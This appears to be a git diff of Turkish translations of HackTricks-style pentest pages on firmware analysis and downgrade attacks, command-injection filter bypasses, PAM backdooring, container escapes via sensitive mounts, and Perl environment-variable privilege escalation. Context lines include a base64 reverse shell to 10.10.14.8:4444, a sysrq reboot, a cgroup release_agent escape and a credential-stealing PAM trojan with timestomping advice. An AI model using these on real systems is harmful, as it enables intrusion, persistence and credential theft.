`binwalk -ev <bin>` kullanarak, genellikle dosya sistemini çıkarmak mümkündür; bu genellikle dosya sistemi türüyle adlandırılan bir dizine (örneğin, squashfs, ubifs) çıkar. Ancak, **binwalk** sihirli baytların eksikliği nedeniyle dosya sistemi türünü tanımadığında, manuel çıkarma gereklidir. Bu, `binwalk` kullanarak dosya sisteminin ofsetini bulmayı ve ardından dosya sistemini çıkarmak için `dd` komutunu kullanmayı içerir:
|
||||
```bash
|
||||
$ binwalk DIR850L_REVB.bin
|
||||
|
||||
@ -144,7 +144,7 @@ Sonrasında, dosya sistemi türüne bağlı olarak (örneğin, squashfs, cpio, j
|
||||
|
||||
Dosya sistemi çıkarıldıktan sonra, güvenlik açıkları arayışına başlanır. Güvensiz ağ daemon'larına, hardcoded kimlik bilgilerine, API uç noktalarına, güncelleme sunucusu işlevlerine, derlenmemiş koda, başlangıç betiklerine ve çevrimdışı analiz için derlenmiş ikililere dikkat edilir.
|
||||
|
||||
**Ana konumlar** ve **denetlenecek öğeler** şunlardır:
|
||||
**Ana konumlar** ve **incelemesi gereken öğeler** şunlardır:
|
||||
|
||||
- **etc/shadow** ve **etc/passwd** kullanıcı kimlik bilgileri için
|
||||
- **etc/ssl** içindeki SSL sertifikaları ve anahtarlar
|
||||
@ -160,11 +160,11 @@ Dosya sistemi içindeki hassas bilgileri ve güvenlik açıklarını ortaya çı
|
||||
|
||||
### Derlenmiş İkililer Üzerinde Güvenlik Kontrolleri
|
||||
|
||||
Dosya sisteminde bulunan hem kaynak kodu hem de derlenmiş ikililer güvenlik açıkları açısından incelenmelidir. **checksec.sh** gibi araçlar Unix ikilileri için ve **PESecurity** Windows ikilileri için, istismar edilebilecek korumasız ikilileri tanımlamaya yardımcı olur.
|
||||
Dosya sisteminde bulunan hem kaynak kodu hem de derlenmiş ikililer güvenlik açıkları açısından incelenmelidir. Unix ikilileri için **checksec.sh** ve Windows ikilileri için **PESecurity** gibi araçlar, istismar edilebilecek korumasız ikilileri tanımlamaya yardımcı olur.
|
||||
|
||||
## Dinamik Analiz için Firmware Taklit Etme
|
||||
|
||||
Firmware taklit etme süreci, bir cihazın çalışmasının veya bireysel bir programın **dinamik analizini** sağlar. Bu yaklaşım, donanım veya mimari bağımlılıkları ile zorluklarla karşılaşabilir, ancak kök dosya sistemini veya belirli ikilileri, Raspberry Pi gibi eşleşen mimari ve endianlıkta bir cihaza veya önceden oluşturulmuş bir sanal makineye aktarmak, daha fazla test yapmayı kolaylaştırabilir.
|
||||
Firmware taklit etme süreci, bir cihazın çalışması veya bireysel bir programın **dinamik analizini** sağlar. Bu yaklaşım, donanım veya mimari bağımlılıkları ile zorluklarla karşılaşabilir, ancak kök dosya sistemini veya belirli ikilileri, Raspberry Pi gibi eşleşen mimari ve endianlıkta bir cihaza veya önceden oluşturulmuş bir sanal makineye aktarmak, daha fazla test yapmayı kolaylaştırabilir.
|
||||
|
||||
### Bireysel İkilileri Taklit Etme
|
||||
|
||||
@ -196,7 +196,7 @@ Bu aşamada, analiz için gerçek veya emüle edilmiş bir cihaz ortamı kullan
|
||||
|
||||
## Çalışma Zamanı Analiz Teknikleri
|
||||
|
||||
Çalışma zamanı analizi, bir süreç veya ikili dosya ile işletim ortamında etkileşimde bulunmayı içerir; gdb-multiarch, Frida ve Ghidra gibi araçlar kullanılarak kesme noktaları ayarlanır ve zafiyetler fuzzing ve diğer teknikler aracılığıyla belirlenir.
|
||||
Çalışma zamanı analizi, gdb-multiarch, Frida ve Ghidra gibi araçlar kullanarak bir süreç veya ikili dosya ile işletim ortamında etkileşimde bulunmayı içerir; bu araçlar, kesme noktaları ayarlamak ve fuzzing gibi tekniklerle zafiyetleri tanımlamak için kullanılır.
|
||||
|
||||
## İkili İstismar ve Kanıt-of-Konsept
|
||||
|
||||
@ -206,24 +206,24 @@ Belirlenen zafiyetler için bir PoC geliştirmek, hedef mimarinin derin bir anla
|
||||
|
||||
[AttifyOS](https://github.com/adi0x90/attifyos) ve [EmbedOS](https://github.com/scriptingxss/EmbedOS) gibi işletim sistemleri, gerekli araçlarla donatılmış firmware güvenlik testleri için önceden yapılandırılmış ortamlar sağlar.
|
||||
|
||||
## Firmware Analiz Etmek için Hazırlanmış OS'ler
|
||||
## Firmware Analizi için Hazırlanmış OS'ler
|
||||
|
||||
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS, Nesnelerin İnterneti (IoT) cihazlarının güvenlik değerlendirmesi ve penetrasyon testleri yapmanıza yardımcı olmak için tasarlanmış bir dağıtımdır. Tüm gerekli araçların yüklü olduğu önceden yapılandırılmış bir ortam sunarak size çok zaman kazandırır.
|
||||
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Gömülü güvenlik test işletim sistemi, firmware güvenlik test araçları ile önceden yüklenmiş Ubuntu 18.04 tabanlıdır.
|
||||
|
||||
## Firmware Geri Alma Saldırıları ve Güvensiz Güncelleme Mekanizmaları
|
||||
|
||||
Bir satıcı firmware görüntüleri için kriptografik imza kontrolleri uygulasa bile, **sürüm geri alma (downgrade) koruması sıklıkla atlanır**. Önyükleme veya kurtarma yükleyici yalnızca gömülü bir genel anahtar ile imzayı doğruluyorsa ancak *sürümü* (veya monoton bir sayacı) karşılaştırmıyorsa, bir saldırgan **geçerli bir imzaya sahip olan daha eski, savunmasız bir firmware'i meşru bir şekilde yükleyebilir** ve böylece yamanmış zafiyetleri yeniden tanıtabilir.
|
||||
Bir satıcı firmware görüntüleri için kriptografik imza kontrolleri uygulasa bile, **sürüm geri alma (downgrade) koruması sıklıkla atlanır**. Önyükleme veya kurtarma yükleyici yalnızca gömülü bir genel anahtar ile imzayı doğruluyorsa ancak flaşlanan görüntünün *sürümünü* (veya monoton bir sayacı) karşılaştırmıyorsa, bir saldırgan geçerli bir imzaya sahip **daha eski, savunmasız bir firmware'i meşru bir şekilde yükleyebilir** ve böylece yamanmış zafiyetleri yeniden tanıtabilir.
|
||||
|
||||
Tipik saldırı iş akışı:
|
||||
|
||||
1. **Daha eski bir imzalı görüntü elde et**
|
||||
1. **Daha eski imzalı bir görüntü elde et**
|
||||
* Bunu satıcının kamuya açık indirme portalından, CDN veya destek sitesinden alın.
|
||||
* Bunu eşlik eden mobil/masaüstü uygulamalardan çıkarın (örneğin, bir Android APK'sının `assets/firmware/` dizininde).
|
||||
* Bunu VirusTotal, internet arşivleri, forumlar vb. gibi üçüncü taraf depolardan alın.
|
||||
2. **Görüntüyü cihaza yükleyin veya sunun** herhangi bir açık güncelleme kanalı aracılığıyla:
|
||||
* Web UI, mobil uygulama API'si, USB, TFTP, MQTT vb.
|
||||
* Birçok tüketici IoT cihazı, Base64 kodlu firmware blob'larını kabul eden *kimlik doğrulaması yapılmamış* HTTP(S) uç noktaları açar, bunları sunucu tarafında çözer ve kurtarma/güncelleme işlemini tetikler.
|
||||
* Birçok tüketici IoT cihazı, Base64 kodlu firmware blob'larını kabul eden *kimlik doğrulaması yapılmamış* HTTP(S) uç noktaları açar, bunları sunucu tarafında çözer ve kurtarma/güncellemeyi tetikler.
|
||||
3. Geri alma işleminden sonra, daha yeni sürümde yamanmış bir zafiyeti istismar edin (örneğin, daha sonra eklenen bir komut enjekte etme filtresi).
|
||||
4. İsteğe bağlı olarak, en son görüntüyü geri yükleyin veya kalıcılık sağlandıktan sonra tespiti önlemek için güncellemeleri devre dışı bırakın.
|
||||
|
||||
@ -234,7 +234,7 @@ Host: 192.168.0.1
|
||||
Content-Type: application/octet-stream
|
||||
Content-Length: 0
|
||||
```
|
||||
Vulnerable (downgraded) firmware'de, `md5` parametresi doğrudan bir shell komutuna sanitizasyon olmadan eklenir, bu da rastgele komutların enjekte edilmesine olanak tanır (burada – SSH anahtar tabanlı root erişiminin etkinleştirilmesi). Daha sonraki firmware sürümleri temel bir karakter filtresi tanıttı, ancak downgrade korumasının olmaması düzeltmeyi anlamsız kılıyor.
|
||||
Vulnerable (downgraded) firmware'da, `md5` parametresi doğrudan bir shell komutuna sanitizasyon olmadan eklenir, bu da keyfi komutların enjekte edilmesine olanak tanır (burada – SSH anahtar tabanlı root erişiminin etkinleştirilmesi). Daha sonraki firmware sürümleri temel bir karakter filtresi tanıttı, ancak downgrade korumasının olmaması düzeltmeyi anlamsız kılıyor.
|
||||
|
||||
### Mobil Uygulamalardan Firmware Çıkartma
|
||||
|
||||
|
||||
@ -18,7 +18,7 @@ echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|
|
||||
#Then get the out of the rev shell executing inside of it:
|
||||
exec >&0
|
||||
```
|
||||
### Bypass Paths ve yasaklı kelimeler
|
||||
### Bypass Yolları ve Yasaklı Kelimeler
|
||||
```bash
|
||||
# Question mark binary substitution
|
||||
/usr/bin/p?ng # /usr/bin/ping
|
||||
@ -145,7 +145,7 @@ echo ${PATH:0:1} #/
|
||||
### Yerleşik Komutlar
|
||||
|
||||
Dış fonksiyonları çalıştıramıyorsanız ve yalnızca RCE elde etmek için **sınırlı bir yerleşik komut setine** erişiminiz varsa, bunu yapmanın bazı pratik yolları vardır. Genellikle **tüm** **yerleşik komutları** kullanamayacaksınız, bu yüzden hapisten kurtulmak için **tüm seçeneklerinizi bilmelisiniz**. Fikir [**devploit**](https://twitter.com/devploit)'ten.\
|
||||
Öncelikle tüm [**shell yerleşik komutlarını**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)** kontrol edin.** Ardından burada bazı **öneriler** var:
|
||||
Öncelikle tüm [**kabuk yerleşik komutlarını**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)** kontrol edin.** İşte bazı **öneriler**:
|
||||
```bash
|
||||
# Get list of builtins
|
||||
declare builtins
|
||||
@ -296,21 +296,21 @@ ln /f*
|
||||
```
|
||||
## Salt-Okuma/Noexec/Distroless Bypass
|
||||
|
||||
Eğer **salt-okuma ve noexec korumalarına** sahip bir dosya sistemindeyseniz veya hatta distroless bir konteynerdeyseniz, yine de **rastgele ikili dosyaları çalıştırmanın yolları vardır, hatta bir shell!:**
|
||||
Eğer **salt-okuma ve noexec korumalarına** sahip bir dosya sistemindeyseniz veya hatta distroless bir konteynerdeyseniz, yine de **rastgele ikili dosyaları çalıştırmanın yolları vardır, hatta bir shell bile!:**
|
||||
|
||||
{{#ref}}
|
||||
bypass-fs-protections-read-only-no-exec-distroless/
|
||||
{{#endref}}
|
||||
|
||||
## Chroot & diğer Jailer Bypass
|
||||
## Chroot & diğer Jails Bypass
|
||||
|
||||
{{#ref}}
|
||||
../privilege-escalation/escaping-from-limited-bash.md
|
||||
{{#endref}}
|
||||
|
||||
## Uzay Tabanlı Bash NOP Sled ("Bashsledding")
|
||||
## Alan Tabanlı Bash NOP Sled ("Bashsledding")
|
||||
|
||||
Bir zafiyet, nihayetinde `system()` veya başka bir shell'e ulaşan bir argümanı kısmen kontrol etmenize izin veriyorsa, yüklemenizin okunmaya başlandığı tam offset'i bilmeyebilirsiniz. Geleneksel NOP sled'leri (örneğin `\x90`) shell sözdiziminde **çalışmaz**, ancak Bash, bir komutu çalıştırmadan önceki boşlukları zararsız bir şekilde göz ardı eder.
|
||||
Bir zafiyet, nihayetinde `system()` veya başka bir shell'e ulaşan bir argümanı kısmen kontrol etmenize izin veriyorsa, yüklemenizin okunmaya başlandığı tam ofseti bilmeyebilirsiniz. Geleneksel NOP sled'leri (örneğin `\x90`) shell sözdiziminde **çalışmaz**, ancak Bash, bir komutu çalıştırmadan önceki boşlukları zararsız bir şekilde göz ardı eder.
|
||||
|
||||
Bu nedenle, gerçek komutunuzu uzun bir boşluk veya sekme karakteri dizisi ile ön ekleyerek *Bash için bir NOP sled* oluşturabilirsiniz:
|
||||
```bash
|
||||
@ -333,8 +333,8 @@ Pratik kullanım durumları:
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
|
||||
- [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet)
|
||||
- [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
|
||||
- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
|
||||
- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secju
|
||||
|
||||
- [Terkedilmiş donanımlarda sıfır günleri istismar etmek – Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
|
||||
- [Terkedilmiş donanımlarda sıfır günleri istismar etmek – Trail of Bits blogu](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -9,7 +9,7 @@
|
||||
#### Yapılandırma Dosyaları
|
||||
|
||||
- **Solaris ve UNIX tabanlı sistemler**, genellikle `/etc/pam.conf` konumunda bulunan merkezi bir yapılandırma dosyası kullanır.
|
||||
- **Linux sistemleri**, hizmete özgü yapılandırmaları `/etc/pam.d` içinde depolayarak bir dizin yaklaşımını tercih eder. Örneğin, oturum açma hizmetinin yapılandırma dosyası `/etc/pam.d/login` konumunda bulunur.
|
||||
- **Linux sistemleri**, hizmete özgü yapılandırmaları `/etc/pam.d` içinde saklayarak bir dizin yaklaşımını tercih eder. Örneğin, oturum açma hizmetinin yapılandırma dosyası `/etc/pam.d/login` konumundadır.
|
||||
|
||||
Oturum açma hizmeti için bir PAM yapılandırma örneği şöyle görünebilir:
|
||||
```
|
||||
@ -40,15 +40,15 @@ Kontroller, modülün başarı veya başarısızlığa yanıtını belirler ve g
|
||||
- **Required**: Gerekli bir modülün başarısızlığı, tüm sonraki modüller kontrol edildikten sonra nihai bir başarısızlığa yol açar.
|
||||
- **Requisite**: Başarısızlık durumunda sürecin hemen sonlandırılması.
|
||||
- **Sufficient**: Başarı, sonraki modüllerin kontrollerini atlar, ancak bir sonraki modül başarısız olursa geçerli değildir.
|
||||
- **Optional**: Yalnızca yığın içindeki tek modülse başarısızlığa neden olur.
|
||||
- **Optional**: Yalnızca yığındaki tek modülse başarısızlığa neden olur.
|
||||
|
||||
#### Örnek Senaryo
|
||||
|
||||
Birden fazla auth modülü ile bir kurulumda, süreç katı bir sırayı takip eder. Eğer `pam_securetty` modülü giriş terminalini yetkisiz bulursa, root girişleri engellenir, ancak "required" durumu nedeniyle tüm modüller yine de işlenir. `pam_env` ortam değişkenlerini ayarlar, bu da kullanıcı deneyimine yardımcı olabilir. `pam_ldap` ve `pam_unix` modülleri, kullanıcıyı kimlik doğrulamak için birlikte çalışır; `pam_unix` daha önce sağlanan bir şifreyi kullanmaya çalışarak kimlik doğrulama yöntemlerinde verimliliği ve esnekliği artırır.
|
||||
|
||||
## PAM'yi Arka Kapı ile Ele Geçirme – `pam_unix.so`'yu Hooklama
|
||||
## PAM'yi Arka Kapı ile Açma – `pam_unix.so`'yu Hooklama
|
||||
|
||||
Yüksek değerli Linux ortamlarında klasik bir kalıcılık numarası, **meşru PAM kütüphanesini trojanize edilmiş bir drop-in ile değiştirmektir**. Her SSH / konsol girişi `pam_unix.so:pam_sm_authenticate()` çağrısını içerdiğinden, kimlik bilgilerini yakalamak veya *büyülü* bir şifre atlama uygulamak için birkaç satır C kodu yeterlidir.
|
||||
Yüksek değerli Linux ortamlarında klasik bir kalıcılık numarası, **meşru PAM kütüphanesini trojanize edilmiş bir drop-in ile değiştirmektir**. Her SSH / konsol girişi `pam_unix.so:pam_sm_authenticate()` çağrısını yaptığından, kimlik bilgilerini yakalamak veya *büyülü* bir şifre atlama uygulamak için birkaç satır C kodu yeterlidir.
|
||||
|
||||
### Derleme Kılavuzu
|
||||
```c
|
||||
@ -92,7 +92,7 @@ touch -r /bin/ls /lib/security/pam_unix.so # timestomp
|
||||
```
|
||||
### OpSec İpuçları
|
||||
1. **Atomik yazma** – yarı yazılmış kütüphanelerin SSH'yi kilitlemesini önlemek için geçici bir dosyaya yazın ve `mv` ile yer değiştirin.
|
||||
2. `/usr/bin/.dbus.log` gibi log dosyası yerleşimi, meşru masaüstü artefaktlarıyla karışır.
|
||||
2. `/usr/bin/.dbus.log` gibi günlük dosyası yerleşimi, meşru masaüstü artefaktlarıyla karışır.
|
||||
3. PAM yanlış davranışını önlemek için sembol dışa aktarımlarını aynı tutun (`pam_sm_setcred`, vb.).
|
||||
|
||||
### Tespit
|
||||
@ -103,6 +103,6 @@ touch -r /bin/ls /lib/security/pam_unix.so # timestomp
|
||||
### Referanslar
|
||||
|
||||
- [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434)
|
||||
- [Palo Alto Unit42 – Küresel Telekom Ağlarının Sızması](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
|
||||
- [Palo Alto Unit42 – Küresel Telekom Ağlarının Sızdırılması](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
`/proc`, `/sys` ve `/var`'ın uygun namespace izolasyonu olmadan açılması, saldırı yüzeyinin genişlemesi ve bilgi sızdırma gibi önemli güvenlik riskleri oluşturur. Bu dizinler, yanlış yapılandırıldığında veya yetkisiz bir kullanıcı tarafından erişildiğinde, konteyner kaçışı, ana makine değişikliği veya daha fazla saldırıyı destekleyen bilgilerin sağlanmasına yol açabilecek hassas dosyalar içerir. Örneğin, `-v /proc:/host/proc` yanlış bir şekilde monte edilirse, yol tabanlı doğası nedeniyle AppArmor korumasını atlayabilir ve `/host/proc`'ı korumasız bırakabilir.
|
||||
`/proc`, `/sys` ve `/var`'ın uygun namespace izolasyonu olmadan açılması, saldırı yüzeyinin genişlemesi ve bilgi sızdırma gibi önemli güvenlik riskleri oluşturur. Bu dizinler, yanlış yapılandırıldığında veya yetkisiz bir kullanıcı tarafından erişildiğinde, konteyner kaçışına, ana makine değişikliğine veya daha fazla saldırıyı destekleyen bilgilerin sağlanmasına yol açabilecek hassas dosyalar içerir. Örneğin, `-v /proc:/host/proc` yanlış bir şekilde monte edilirse, yol tabanlı doğası nedeniyle AppArmor korumasını atlayabilir ve `/host/proc`'ı korumasız bırakabilir.
|
||||
|
||||
**Her potansiyel zafiyetin daha fazla detayını bulabilirsiniz** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
|
||||
|
||||
@ -15,7 +15,7 @@ Bu dizin, genellikle `sysctl(2)` aracılığıyla çekirdek değişkenlerini de
|
||||
#### **`/proc/sys/kernel/core_pattern`**
|
||||
|
||||
- [core(5)](https://man7.org/linux/man-pages/man5/core.5.html) içinde tanımlanmıştır.
|
||||
- Bu dosyaya yazabiliyorsanız, bir boru `|` yazmak ve bir çökme gerçekleştiğinde çalıştırılacak bir program veya betiğin yolunu eklemek mümkündür.
|
||||
- Bu dosyaya yazabiliyorsanız, bir boru `|` yazıp ardından bir program veya betiğin yolunu yazmak mümkündür; bu, bir çökme gerçekleştiğinde çalıştırılacaktır.
|
||||
- Bir saldırgan, `mount` komutunu çalıştırarak konteynerinin içindeki ana makinedeki yolu bulabilir ve bu yolu konteyner dosya sistemindeki bir ikili dosyaya yazabilir. Ardından, bir programı çökertip çekirdeğin konteyner dışındaki ikili dosyayı çalıştırmasını sağlayabilir.
|
||||
|
||||
- **Test ve Sömürü Örneği**:
|
||||
@ -55,7 +55,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # modprobe erişimini kontrol et
|
||||
#### **`/proc/sys/fs`**
|
||||
|
||||
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) gereğince, dosya sistemi hakkında seçenekler ve bilgiler içerir.
|
||||
- Yazma erişimi, ana makineye karşı çeşitli hizmet reddi saldırılarını mümkün kılabilir.
|
||||
- Yazma erişimi, ana makineye karşı çeşitli hizmet reddi saldırılarını etkinleştirebilir.
|
||||
|
||||
#### **`/proc/sys/fs/binfmt_misc`**
|
||||
|
||||
@ -83,27 +83,27 @@ echo b > /proc/sysrq-trigger # Ana makineyi yeniden başlatır
|
||||
|
||||
#### **`/proc/kmsg`**
|
||||
|
||||
- Kernel ring buffer mesajlarını açığa çıkarır.
|
||||
- Kernel istismarlarına, adres sızıntılarına yardımcı olabilir ve hassas sistem bilgileri sağlayabilir.
|
||||
- Kernel halka tamponu mesajlarını açığa çıkarır.
|
||||
- Kernel istismarları, adres sızıntıları ve hassas sistem bilgileri sağlamada yardımcı olabilir.
|
||||
|
||||
#### **`/proc/kallsyms`**
|
||||
|
||||
- Kernel tarafından dışa aktarılan sembolleri ve adreslerini listeler.
|
||||
- Kernel istismar geliştirme için esastır, özellikle KASLR'yi aşmak için.
|
||||
- Kernel istismar geliştirme için önemlidir, özellikle KASLR'yi aşmak için.
|
||||
- Adres bilgileri `kptr_restrict` `1` veya `2` olarak ayarlandığında kısıtlanır.
|
||||
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) içinde detaylar.
|
||||
|
||||
#### **`/proc/[pid]/mem`**
|
||||
|
||||
- Kernel bellek cihazı `/dev/mem` ile arayüz sağlar.
|
||||
- Tarihsel olarak ayrıcalık yükseltme saldırılarına karşı savunmasızdır.
|
||||
- Kernel bellek cihazı `/dev/mem` ile etkileşimde bulunur.
|
||||
- Tarihsel olarak ayrıcalık yükselme saldırılarına karşı savunmasızdır.
|
||||
- Daha fazla bilgi için [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
|
||||
#### **`/proc/kcore`**
|
||||
|
||||
- Sistemin fiziksel belleğini ELF core formatında temsil eder.
|
||||
- Sisteminin fiziksel belleğini ELF çekirdek formatında temsil eder.
|
||||
- Okuma, ana makine ve diğer konteynerlerin bellek içeriklerini sızdırabilir.
|
||||
- Büyük dosya boyutu okuma sorunlarına veya yazılım çökmesine yol açabilir.
|
||||
- Büyük dosya boyutu okuma sorunlarına veya yazılım çökmesine neden olabilir.
|
||||
- Detaylı kullanım için [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/) bakınız.
|
||||
|
||||
#### **`/proc/kmem`**
|
||||
@ -272,10 +272,10 @@ So the filesystems are under `/var/lib/docker/overlay2/`:
|
||||
```bash
|
||||
$ sudo ls -la /var/lib/docker/overlay2
|
||||
|
||||
drwx--x--- 4 root root 4096 9 Oca 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d
|
||||
drwx--x--- 4 root root 4096 11 Oca 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496
|
||||
drwx--x--- 4 root root 4096 9 Oca 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f
|
||||
drwx--x--- 4 root root 4096 9 Oca 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2
|
||||
drwx--x--- 4 root root 4096 9 Oca 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d
|
||||
drwx--x--- 4 root root 4096 11 Oca 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496
|
||||
drwx--x--- 4 root root 4096 9 Oca 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f
|
||||
drwx--x--- 4 root root 4096 9 Oca 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2
|
||||
<SNIP>
|
||||
```
|
||||
|
||||
@ -314,7 +314,7 @@ A similar technique works with **crictl**, **podman** or the **kubelet** API onc
|
||||
Writable **cgroup v1** mounts are also dangerous. If `/sys/fs/cgroup` is bind-mounted **rw** and the host kernel is vulnerable to **CVE-2022-0492**, an attacker can set a malicious `release_agent` and execute arbitrary code in the *initial* namespace:
|
||||
|
||||
```bash
|
||||
# konteynerin CAP_SYS_ADMIN ve savunmasız bir çekirdek olduğunu varsayarak
|
||||
# konteynerin CAP_SYS_ADMIN'e ve savunmasız bir çekirdeğe sahip olduğunu varsayıyoruz
|
||||
mkdir -p /tmp/x && echo 1 > /tmp/x/notify_on_release
|
||||
|
||||
echo '/tmp/pwn' > /sys/fs/cgroup/release_agent # CVE-2022-0492 gerektirir
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## `PERL5OPT` & `PERL5LIB` ortam değişkeni aracılığıyla
|
||||
|
||||
Ortam değişkeni **`PERL5OPT`** kullanarak, **Perl**'ün yorumlayıcı başladığında (hedef scriptin ilk satırı analiz edilmeden **önce** bile) rastgele komutlar çalıştırması mümkündür. Örneğin, bu scripti oluşturun:
|
||||
Ortam değişkeni **`PERL5OPT`** kullanarak, **Perl**'ün yorumlayıcı başladığında (hedef scriptin ilk satırı analiz edilmeden **önce** bile) rastgele komutlar çalıştırmasını sağlamak mümkündür. Örneğin, bu scripti oluşturun:
|
||||
```perl:test.pl
|
||||
#!/usr/bin/perl
|
||||
print "Hello from the Perl script!\n";
|
||||
@ -21,7 +21,7 @@ package pmod;
|
||||
system('whoami');
|
||||
1; # Modules must return a true value
|
||||
```
|
||||
Ve ardından modülün otomatik olarak bulunması ve yüklenmesi için çevresel değişkenleri kullanın:
|
||||
Ve ardından modülün otomatik olarak bulunması ve yüklenmesi için env değişkenlerini kullanın:
|
||||
```bash
|
||||
PERL5LIB=/tmp/ PERL5OPT=-Mpmod perl victim.pl
|
||||
```
|
||||
@ -34,9 +34,9 @@ export PERL5DB='system("/bin/zsh")'
|
||||
sudo perl -d /usr/bin/some_admin_script.pl # scripti çalıştırmadan önce bir shell açar
|
||||
```
|
||||
|
||||
* **`PERL5SHELL`** – Windows'ta bu değişken, Perl'in bir shell açması gerektiğinde hangi shell yürütülebilir dosyasını kullanacağını kontrol eder. Bu, macOS'ta ilgili olmadığı için burada yalnızca tamlık açısından belirtilmiştir.
|
||||
* **`PERL5SHELL`** – Windows'ta bu değişken, Perl'in bir shell açması gerektiğinde hangi shell yürütülebilir dosyasını kullanacağını kontrol eder. Bu, macOS'ta ilgili olmadığı için burada yalnızca tamamlayıcılık açısından belirtilmiştir.
|
||||
|
||||
`PERL5DB` bayrağını gerektirse de, bu bayrak açık hata ayıklama için etkinleştirildiğinde *root* olarak çalıştırılan bakım veya yükleyici betikleri bulmak yaygındır, bu da değişkeni geçerli bir yükseltme vektörü haline getirir.
|
||||
`PERL5DB` bayrağını gerektirse de, bu bayrak açıkken *root* olarak çalıştırılan bakım veya yükleyici betikleri bulmak yaygındır, bu da değişkeni geçerli bir yükseltme vektörü haline getirir.
|
||||
|
||||
## Bağımlılıklar aracılığıyla (@INC istismarı)
|
||||
|
||||
@ -44,7 +44,7 @@ Perl'in arayacağı dahil etme yolunu listelemek mümkündür (**`@INC`**) çal
|
||||
```bash
|
||||
perl -e 'print join("\n", @INC)'
|
||||
```
|
||||
macOS 13/14'te tipik çıktı şöyle görünür:
|
||||
macOS 13/14'teki tipik çıktı şöyle görünür:
|
||||
```bash
|
||||
/Library/Perl/5.30/darwin-thread-multi-2level
|
||||
/Library/Perl/5.30
|
||||
@ -59,16 +59,16 @@ macOS 13/14'te tipik çıktı şöyle görünür:
|
||||
Bazı döndürülen klasörler hiç mevcut değil, ancak **`/Library/Perl/5.30`** mevcut, SIP tarafından *korunmuyor* ve SIP ile korunan klasörlerden *önce* yer alıyor. Bu nedenle, eğer *root* olarak yazabiliyorsanız, o modülü içe aktaran herhangi bir ayrıcalıklı script tarafından *öncelikli olarak* yüklenecek kötü niyetli bir modül (örneğin, `File/Basename.pm`) bırakabilirsiniz.
|
||||
|
||||
> [!WARNING]
|
||||
> `/Library/Perl` içine yazmak için hala **root** olmanız gerekiyor ve macOS, yazma işlemini gerçekleştiren süreç için *Tam Disk Erişimi* isteyen bir **TCC** istemi gösterecektir.
|
||||
> `/Library/Perl` içine yazmak için hala **root** olmanız gerekiyor ve macOS, yazma işlemini gerçekleştiren süreç için *Tam Disk Erişimi* talep eden bir **TCC** istemi gösterecektir.
|
||||
|
||||
Örneğin, bir script **`use File::Basename;`** ifadesini içe aktarıyorsa, saldırgan kontrolündeki kodu içeren `/Library/Perl/5.30/File/Basename.pm` oluşturmak mümkün olacaktır.
|
||||
|
||||
## SIP atlatma, Göç Asistanı aracılığıyla (CVE-2023-32369 “Migraine”)
|
||||
## Migration Assistant ile SIP atlatma (CVE-2023-32369 “Migraine”)
|
||||
|
||||
Mayıs 2023'te Microsoft, *root* bir saldırganın **Sistem Bütünlüğü Korumasını (SIP)** tamamen **atlatmasına** olanak tanıyan **CVE-2023-32369**'u, takma adıyla **Migraine** olarak açıkladı.
|
||||
Zayıf nokta, **`systemmigrationd`** adlı, **`com.apple.rootless.install.heritable`** yetkisine sahip bir daemon'dur. Bu daemon tarafından başlatılan herhangi bir çocuk süreç, bu yetkiyi devralır ve dolayısıyla **SIP** kısıtlamalarının *dışında* çalışır.
|
||||
Mayıs 2023'te Microsoft, *root* bir saldırganın **Sistem Bütünlüğü Korumasını (SIP)** tamamen **atlatmasına** olanak tanıyan **CVE-2023-32369**'u, takma adıyla **Migraine**, açıkladı.
|
||||
Zayıf nokta, **`com.apple.rootless.install.heritable`** yetkisine sahip bir daemon olan **`systemmigrationd`**'dir. Bu daemon tarafından başlatılan herhangi bir çocuk süreç, yetkiyi miras alır ve bu nedenle **SIP** kısıtlamalarının *dışında* çalışır.
|
||||
|
||||
